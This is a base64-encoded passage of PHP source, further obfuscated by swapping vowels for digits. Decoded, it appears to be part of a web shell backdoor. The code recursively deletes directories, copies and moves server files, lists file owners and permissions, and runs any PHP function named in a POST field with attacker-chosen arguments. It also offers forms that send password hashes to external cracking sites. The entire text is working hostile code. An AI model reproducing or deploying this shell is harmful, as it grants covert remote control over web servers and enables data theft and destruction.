w0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnZDVsNXQ1JzoNCiAgICAgICAgICAgICAgICBmM25jdDQybiBkNWw1dDVENHIoJHAxdGgpIHsNCiAgICAgICAgICAgICAgICAgICAgJHAxdGggPSAoczNic3RyKCRwMXRoLC02KT09Jy8nKSA/ICRwMXRoOiRwMXRoLicvJzsNCiAgICAgICAgICAgICAgICAgICAgJGRoICA9IDJwNW5kNHIoJHAxdGgpOw0KICAgICAgICAgICAgICAgICAgICB3aDRsNSAoICgkNHQ1bSA9IHI1MWRkNHIoJGRoKSApICE9PSBmMWxzNSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW0gPSAkcDF0aC4kNHQ1bTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICggKGIxczVuMW01KCQ0dDVtKSA9PSAiLi4iKSB8fCAoYjFzNW4xbTUoJDR0NW0pID09ICIuIikgKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgJHR5cDUgPSBmNGw1dHlwNSgkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHR5cDUgPT0gImQ0ciIpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZDVsNXQ1RDRyKCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAM25sNG5rKCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBjbDJzNWQ0cigkZGgpOw0KICAgICAgICAgICAgICAgICAgICBybWQ0cigkcDF0aCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDRmKDRzXzFycjF5KEAkX1BPU1RbJ2YnXSkpDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRmID0gM3JsZDVjMmQ1KCRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZDVsNXQ1RDRyKCRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAM25sNG5rKCRmKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAncDFzdDUnOg0KICAgICAgICAgICAgICAgIDRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJ2MycHknKSB7DQogICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIGMycHlfcDFzdDUoJGMsJHMsJGQpew0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoNHNfZDRyKCRjLiRzKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkNHIoJGQuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gMnA1bmQ0cigkYy4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUgKCgkZiA9IHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1NGYoNHNfZjRsNSgkYy4kcykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAYzJweSgkYy4kcywgJGQuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpDQogICAgICAgICAgICAgICAgICAgICAgICBjMnB5X3Axc3Q1KCRfU0VTU0lPTlsnY3dkJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7ICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICB9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICdtMnY1Jykgew0KICAgICAgICAgICAgICAgICAgICBmM25jdDQybiBtMnY1X3Axc3Q1KCRjLCRzLCRkKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkYy4kcykpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZDRyKCRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IDJwNW5kNHIoJGMuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoNGw1ICgoJGYgPSByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNTRmKDRzX2Y0bDUoJGMuJHMpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGMycHkoJGMuJHMsICRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKQ0KICAgICAgICAgICAgICAgICAgICAgICAgQHI1bjFtNSgkX1NFU1NJT05bJ2N3ZCddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAzbnM1dCgkX1NFU1NJT05bJ2YnXSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pICYmICgoJF9QT1NUWydwNiddID09ICdjMnB5Jyl8fCgkX1BPU1RbJ3A2J10gPT0gJ20ydjUnKSkgKSB7DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnMWN0J10gPSBAJF9QT1NUWydwNiddOw0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsNCiAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkayA9PiAkZikNCiAgICAgICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddWyRrXSA9IDNybGQ1YzJkNSgkZik7DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSBAJF9QT1NUWydjJ107DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQogICAgICAgIDVjaDIgJzxzY3I0cHQ+ZDJjM201bnQubWYucDYudjFsMzU9IiI7ZDJjM201bnQubWYucGEudjFsMzU9IiI7PC9zY3I0cHQ+JzsNCiAgICB9DQogICAgJGQ0ckMybnQ1bnQgPSBAc2MxbmQ0cig0c3M1dCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCiAgICA0ZigkZDRyQzJudDVudCA9PT0gZjFsczUpIHsgICAgNWNoMiAnQzFuXCd0IDJwNW4gdGg0cyBmMmxkNXIhJzsgcjV0M3JuOyAgICB9DQogICAgZ2wyYjFsICRzMnJ0Ow0KICAgICRzMnJ0ID0gMXJyMXkoJ24xbTUnLCA2KTsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KICAgICAgICA0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkNCiAgICAgICAgICAgICRzMnJ0ID0gMXJyMXkoJG0xdGNoWzZdLCAoNG50KSRtMXRjaFthXSk7DQogICAgfQ0KPz4NCjxzY3I0cHQ+DQogICAgZjNuY3Q0Mm4gczEoKSB7DQogICAgICAgIGYycig0PTA7NDxkMmMzbTVudC5mNGw1cy41bDVtNW50cy5sNW5ndGg7NCsrKQ0KICAgICAgICAgICAgNGYoZDJjM201bnQuZjRsNXMuNWw1bTVudHNbNF0udHlwNSA9PSAnY2g1Y2tiMngnKQ0KICAgICAgICAgICAgICAgIGQyYzNtNW50LmY0bDVzLjVsNW01bnRzWzRdLmNoNWNrNWQgPSBkMmMzbTVudC5mNGw1cy41bDVtNW50c1swXS5jaDVjazVkOw0KICAgIH0NCjwvc2NyNHB0Pg0KPHQxYmw1IHc0ZHRoPSc2MDAlJyBjbDFzcz0nbTE0bicgYzVsbHNwMWM0bmc9JzAnIGM1bGxwMWRkNG5nPSdhJz4NCjxmMnJtIG4xbTU9ZjRsNXMgbTV0aDJkPXAyc3Q+DQo8P3BocA0KICAgIDVjaDIgIjx0cj48dGggdzRkdGg9JzZvcHgnPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IDJuY2w0Y2s9J3MxKCknIGNsMXNzPWNoa2J4PjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX24xbTVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5OMW01PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3M0ejVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5TNHo1PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX20yZDRmeV8iLigkczJydFs2XT8wOjYpLiJcIiknPk0yZDRmeTwvMT48L3RoPjx0aD5Pd241ci9HcjIzcDwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3A1cm1zXyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+UDVybTRzczQybnM8LzE+PC90aD48dGg+QWN0NDJuczwvdGg+PC90cj4iOw0KICAgICRkNHJzID0gJGY0bDVzID0gJGw0bmtzID0gMXJyMXkoKTsNCiAgICAkbiA9IGMyM250KCRkNHJDMm50NW50KTsNCiAgICBmMnIoJDQ9MDskNDwkbjskNCsrKSB7DQogICAgICAgICQydyA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSkpOw0KICAgICAgICAkZ3IgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pKTsNCiAgICAgICAgJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sDQogICAgICAgICAgICAgICAgICAgICAncDF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSwNCiAgICAgICAgICAgICAgICAgICAgICdtMmQ0ZnknID0+IGQxdDUoJ1ktbS1kIEg6NDpzJyxAZjRsNW10NG01KCRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0pKSwNCiAgICAgICAgICAgICAgICAgICAgICdwNXJtcycgPT4gdjQ1d1A1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQogICAgICAgICAgICAgICAgICAgICAnczR6NScgPT4gQGY0bDVzNHo1KCRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0pLA0KICAgICAgICAgICAgICAgICAgICAgJzJ3bjVyJyA9PiAkMndbJ24xbTUnXT8kMndbJ24xbTUnXTpAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSksDQogICAgICAgICAgICAgICAgICAgICAnZ3IyM3AnID0+ICRnclsnbjFtNSddPyRnclsnbjFtNSddOkBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKQ0KICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICA0ZihANHNfZjRsNSgkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdKSkNCiAgICAgICAgICAgICRmNGw1c1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdmNGw1JykpOw0KICAgICAgICA1bHM1NGYoQDRzX2w0bmsoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSkpDQogICAgICAgICAgICAkbDRua3NbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnbDRuaycpKTsNCiAgICAgICAgNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSkmJiAoJGQ0ckMybnQ1bnRbJDRdICE9ICIuIikpDQogICAgICAgICAgICAkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdkNHInKSk7DQogICAgfQ0KICAgICRHTE9CQUxTWydzMnJ0J10gPSAkczJydDsNCiAgICBmM25jdDQybiBjbXAoJDEsICRiKSB7DQogICAgICAgIDRmKCRHTE9CQUxTWydzMnJ0J11bMF0gIT0gJ3M0ejUnKQ0KICAgICAgICAgICAgcjV0M3JuIHN0cmNtcCgkMVskR0xPQkFMU1snczJydCddWzBdXSwgJGJbJEdMT0JBTFNbJ3MycnQnXVswXV0pKigkR0xPQkFMU1snczJydCddWzZdPzY6LTYpOw0KICAgICAgICA1bHM1DQogICAgICAgICAgICByNXQzcm4gKCgkMVsnczR6NSddIDwgJGJbJ3M0ejUnXSkgPyAtNiA6IDYpKigkR0xPQkFMU1snczJydCddWzZdPzY6LTYpOw0KICAgIH0NCiAgICAzczJydCgkZjRsNXMsICJjbXAiKTsNCiAgICAzczJydCgkZDRycywgImNtcCIpOw0KICAgIDNzMnJ0KCRsNG5rcywgImNtcCIpOw0KICAgICRmNGw1cyA9IDFycjF5X201cmc1KCRkNHJzLCAkbDRua3MsICRmNGw1cyk7DQogICAgJGwgPSAwOw0KICAgIGYycjUxY2goJGY0bDVzIDFzICRmKSB7DQogICAgICAgIDVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PSJmW10iIHYxbDM1PSInLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nIiBjbDFzcz1jaGtieD48L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7Ij48Yj5bICcuaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKS4nIF08L2I+JykuJzwvMT48L3RkPjx0ZD4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT92NDV3UzR6NSgkZlsnczR6NSddKTokZlsndHlwNSddKS4nPC90ZD48dGQ+Jy4kZlsnbTJkNGZ5J10uJzwvdGQ+PHRkPicuJGZbJzJ3bjVyJ10uJy8nLiRmWydncjIzcCddLic8L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLFwnY2htMmRcJykiPicuJGZbJ3A1cm1zJ10NCiAgICAgICAgICAgIC4nPC90ZD48dGQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3I1bjFtNVwnKSI+UjwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3QyM2NoXCcpIj5UPC8xPicuKCgkZlsndHlwNSddPT0nZjRsNScpPycgPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJzVkNHRcJykiPkU8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdkMndubDIxZFwnKSI+RDwvMT4nOicnKS4nPC90ZD48L3RyPic7DQogICAgICAgICRsID0gJGw/MDo2Ow0KICAgIH0NCiAgICA/Pg0KICAgIDx0cj48dGQgYzJsc3Axbj03Pg0KICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTTFuJz4NCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSc8Pz1odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSk/Pic+DQogICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nPD89NHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnPz4nPg0KICAgIDxzNWw1Y3QgbjFtNT0ncDYnPjwycHQ0Mm4gdjFsMzU9J2MycHknPkMycHk8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdtMnY1Jz5NMnY1PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nZDVsNXQ1Jz5ENWw1dDU8LzJwdDQybj48P3BocCA0ZighNW1wdHkoJF9TRVNTSU9OWycxY3QnXSkmJkBjMjNudCgkX1NFU1NJT05bJ2YnXSkpez8+PDJwdDQybiB2MWwzNT0ncDFzdDUnPlAxc3Q1PC8ycHQ0Mm4+PD9waHAgfT8+PC9zNWw1Y3Q+Jm5ic3A7PDRucDN0IHR5cDU9InMzYm00dCIgdjFsMzU9Ij4+Ij48L3RkPjwvdHI+DQogICAgPC9mMnJtPjwvdDFibDU+PC9kNHY+DQogICAgPD9waHANCiAgICBwcjRudEYyMnQ1cigpOw0KfQ0KIA0KZjNuY3Q0Mm4gMWN0NDJuU3RyNG5nVDIybHMoKSB7DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YWI0bicpKSB7ZjNuY3Q0Mm4gaDV4YWI0bigkcCkge3I1dDNybiBkNWNiNG4oaDV4ZDVjKCRwKSk7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhMXNjNDQnKSkge2YzbmN0NDJuIGg1eGExc2M0NCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RyTDVuKCRwKTskNCs9YSl7JHIuPWNocihoNXhkNWMoJHBbJDRdLiRwWyQ0KzZdKSk7fXI1dDNybiAkcjt9fQ0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJzFzYzQ0YWg1eCcpKSB7ZjNuY3Q0Mm4gMXNjNDRhaDV4KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSBkNWNoNXgoMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2YzbGxfM3JsNW5jMmQ1JykpIHtmM25jdDQybiBmM2xsXzNybDVuYzJkNSgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RybDVuKCRwKTsrKyQ0KSRyLj0gJyUnLmQ1Y2g1eCgycmQoJHBbJDRdKSk7cjV0M3JuIHN0cnQyM3BwNXIoJHIpO319DQogICAgIA0KICAgIDRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgew0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXSA9IHRyMzU7DQogICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygkX1BPU1RbJ3A2J10pKQ0KICAgICAgICAgICAgNWNoMiAkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKTsNCiAgICAgICAgJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLjRubjVySFRNTD0nIi4xZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQogICAgICAgIDVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KICAgIHByNG50SDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PlN0cjRuZyBjMm52NXJzNDJuczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQogICAgJHN0cjRuZ1QyMmxzID0gMXJyMXkoDQogICAgICAgICdCMXM1ZXUgNW5jMmQ1JyA9PiAnYjFzNWV1XzVuYzJkNScsDQogICAgICAgICdCMXM1ZXUgZDVjMmQ1JyA9PiAnYjFzNWV1X2Q1YzJkNScsDQogICAgICAgICdVcmwgNW5jMmQ1JyA9PiAnM3JsNW5jMmQ1JywNCiAgICAgICAgJ1VybCBkNWMyZDUnID0+ICczcmxkNWMyZDUnLA0KICAgICAgICAnRjNsbCAzcmw1bmMyZDUnID0+ICdmM2xsXzNybDVuYzJkNScsDQogICAgICAgICdtZGkgaDFzaCcgPT4gJ21kaScsDQogICAgICAgICdzaDE2IGgxc2gnID0+ICdzaDE2JywNCiAgICAgICAgJ2NyeXB0JyA9PiAnY3J5cHQnLA0KICAgICAgICAnQ1JDb2EnID0+ICdjcmNvYScsDQogICAgICAgICdBU0NJSSB0MiBIRVgnID0+ICcxc2M0NGFoNXgnLA0KICAgICAgICAnSEVYIHQyIEFTQ0lJJyA9PiAnaDV4YTFzYzQ0JywNCiAgICAgICAgJ0hFWCB0MiBERUMnID0+ICdoNXhkNWMnLA0KICAgICAgICAnSEVYIHQyIEJJTicgPT4gJ2g1eGFiNG4nLA0KICAgICAgICAnREVDIHQyIEhFWCcgPT4gJ2Q1Y2g1eCcsDQogICAgICAgICdERUMgdDIgQklOJyA9PiAnZDVjYjRuJywNCiAgICAgICAgJ0JJTiB0MiBIRVgnID0+ICdiNG5haDV4JywNCiAgICAgICAgJ0JJTiB0MiBERUMnID0+ICdiNG5kNWMnLCAgICAgICAgDQogICAgICAgICdTdHI0bmcgdDIgbDJ3NXIgYzFzNScgPT4gJ3N0cnQybDJ3NXInLA0KICAgICAgICAnU3RyNG5nIHQyIDNwcDVyIGMxczUnID0+ICdzdHJ0MjNwcDVyJywNCiAgICAgICAgJ0h0bWxzcDVjNDFsY2gxcnMnID0+ICdodG1sc3A1YzQxbGNoMXJzJywNCiAgICAgICAgJ1N0cjRuZyBsNW5ndGgnID0+ICdzdHJsNW4nLA0KICAgICk7DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICI8ZjJybSBuMW01PSd0MjJsc0Yycm0nIDJuUzNibTR0PSc0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5zNWw1Y3RUMjJsLnYxbDM1LHRoNHMuNG5wM3QudjFsMzUpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCiAgICBmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KICAgICAgICA1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz4gPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgIi4oJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4iPiBzNW5kIDNzNG5nIEFKQVg8YnI+PHQ1eHQxcjUxIG4xbTU9JzRucDN0JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnIGNsMXNzPWI0ZzFyNTE+Ii5odG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ3BhJ10pLiI8L3Q1eHQxcjUxPjwvZjJybT48cHI1IGNsMXNzPSdtbDYnIHN0eWw1PSciLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuIm0xcmc0bi10MnA6aXB4JyA0ZD0nc3RyTzN0cDN0Jz4iOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygkX1BPU1RbJ3A2J10pKQ0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKCRfUE9TVFsncGEnXSkpOw0KICAgIH0NCiAgICA1Y2gyIjwvcHI1PjwvZDR2PiI7DQogICAgPz4NCiAgICA8YnI+PGg2PlM1MXJjaCBmMnIgaDFzaDo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCiAgICAgICAgPGYycm0gbTV0aDJkPSdwMnN0JyB0MXJnNXQ9J19ibDFuaycgbjFtNT0iaGYiPg0KICAgICAgICAgICAgPDRucDN0IHR5cDU9InQ1eHQiIG4xbTU9Imgxc2giIHN0eWw1PSJ3NGR0aDphMDBweDsiPjxicj4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSJiM3R0Mm4iIHYxbDM1PSJoMXNoY3IxY2suYzJtIiAybmNsNGNrPSJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly93d3cuaDFzaGNyMWNrLmMybS80bmQ1eC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpIj48YnI+DQogICAgICAgICAgICA8NG5wM3QgdHlwNT0iYjN0dDJuIiB2MWwzNT0ibTRsdzBybS5jMm0iIDJuY2w0Y2s9ImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5tNGx3MHJtLmMybS9jcjFjazVyL3M1MXJjaC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpIj48YnI+DQogICAgICAgICAgICA8NG5wM3QgdHlwNT0iYjN0dDJuIiB2MWwzNT0iaDFzaGNyMWNrNG5nLjRuZjIiIDJuY2w0Y2s9ImQyYzNtNW50LmhmLjFjdDQybj0naHR0cHM6Ly9oMXNoY3IxY2s0bmcuNG5mMi80bmQ1eC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpIj48YnI+DQogICAgICAgICAgICA8NG5wM3QgdHlwNT0iYjN0dDJuIiB2MWwzNT0ibWRpLnI1ZG4yNHo1LmMybSIgMm5jbDRjaz0iZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vbWRpLnI1ZG4yNHo1LmMybS8/cT0nK2QyYzNtNW50LmhmLmgxc2gudjFsMzUrJyZzPW1kaSc7ZDJjM201bnQuaGYuczNibTR0KCkiPjxicj4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSJiM3R0Mm4iIHYxbDM1PSJtZGlkNWNyeXB0NXIuYzJtIiAybmNsNGNrPSJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly93d3cubWRpZDVjcnlwdDVyLmMybS8nO2QyYzNtNW50LmhmLnMzYm00dCgpIj48YnI+DQogICAgICAgIDwvZjJybT4NCiAgICA8L2Q0dj4NCiAgICA8P3BocA0KICAgIHByNG50RjIydDVyKCk7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5GNGw1c1QyMmxzKCkgew0KICAgIDRmKCA0c3M1dCgkX1BPU1RbJ3A2J10pICkNCiAgICAgICAgJF9QT1NUWydwNiddID0gM3JsZDVjMmQ1KCRfUE9TVFsncDYnXSk7DQogICAgNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgew0KICAgICAgICA0Zig0c19mNGw1KCRfUE9TVFsncDYnXSkgJiYgNHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgew0KICAgICAgICAgICAgMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpO